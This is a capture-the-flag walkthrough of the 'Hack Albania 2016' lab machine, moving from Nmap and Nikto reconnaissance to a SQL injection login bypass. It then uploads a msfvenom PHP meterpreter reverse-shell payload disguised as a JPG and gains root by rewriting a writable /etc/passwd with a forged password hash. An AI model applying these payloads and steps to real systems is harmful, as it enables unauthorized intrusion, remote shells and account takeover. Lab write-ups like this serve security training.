Hack Albania 2016 - 172.16.0.19:
1. Nmap -F 172.16.0.19
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
8008/tcp open http
MAC Address: 6C:71:D9:3A:7A:99 (AzureWave Technology)
Check the address 172.16.0.19:8008
2. Check if there is a robots.txt file
3. Run Nikto: nikto -h http://172.16.0.19:8008
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x2ee 0x53e6db5f6380e
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ File/dir '/rkfpuzrahngvat/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/slgqvasbiohwbu/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/tmhrwbtcjpixcv/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/vojtydvelrkzex/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/wpkuzewfmslafy/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/xqlvafxgntmbgz/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/yrmwbgyhouncha/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/zsnxchzipvodib/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/atoydiajqwpejc/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/bupzejbkrxqfkd/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/cvqafkclsyrgle/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/unisxcudkqjydw/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/dwrbgldmtzshmf/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/exschmenuating/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/fytdinfovbujoh/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/gzuejogpwcvkpi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/havfkphqxdwlqj/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/ibwglqiryexmrk/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/jcxhmrjszfynsl/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/kdyinsktagzotm/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/lezjotlubhapun/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/mfakpumvcibqvo/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/ngblqvnwdjcrwp/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/ohcmrwoxekdsxq/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/pidnsxpyfletyr/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/qjeotyqzgmfuzs/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 26 entries which should be manually viewed.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6544 items checked: 0 error(s) and 31 item(s) reported on remote host
+ End Time: 2017-07-31 15:42:56 (GMT3) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
4. Check the robots.txt again try to find more info.
As we can see, there is a list of alphabet and than a,b,c,d,e,w
Check this address: http://172.16.0.19:8008/unisxcudkqjydw/
and now let's check this address http://172.16.0.19:8008/unisxcudkqjydw/vulnbank
We got: http://172.16.0.19:8008/unisxcudkqjydw/vulnbank/client/login.php
* Insert user’ or 1=1;-- -
After several values, we found the correct one:
Username: ' or 'a'='a' --
Password: #
4. Upload a webshell wso.php, but there is an error: After we got hackedwe are allowing only image filesto upload such as jpg,jpeg, bmp
5. Trying to generate a payload with msfvenom and save is as a jpg:
msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.0.8 lport=4444 -f raw > file.jpg
Open msfconsole use multi/handler, set the payload:
Set payload php/meterpreter/reverse. Set host & port and run.
6. Upload the file into the system and click on the ticket and we have an active meterpreter session.
Spawn the shell:
python3.5m -c "import pty; pty.spawn('/bin/bash')"
We have write permission in /etc/passwd file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash
Download etc/passwd file and generate new password to taviso user:
openssl passwd -1 -salt hacker
Password: 1234
The Hash is: $1$hacker$YcRYbYTpP2gMcJx/QbRFl.
Paste it instead the x (next to username) in passwd file
Old line:
taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash
New line:
taviso:$1$hacker$YcRYbYTpP2gMcJx/QbRFl.:1000:1000:Taviso,,,:/home/taviso:/bin/bash
Upload and overwrite the new passwd file with meterpreter
Login to taviso in ssh (with the new password we set)
Work!!
try sudo su
Yes!! Root!
Check root home directory and here the flag is:
Flag: d5ed38fdbf28bc4e58be142cf5a17cf5
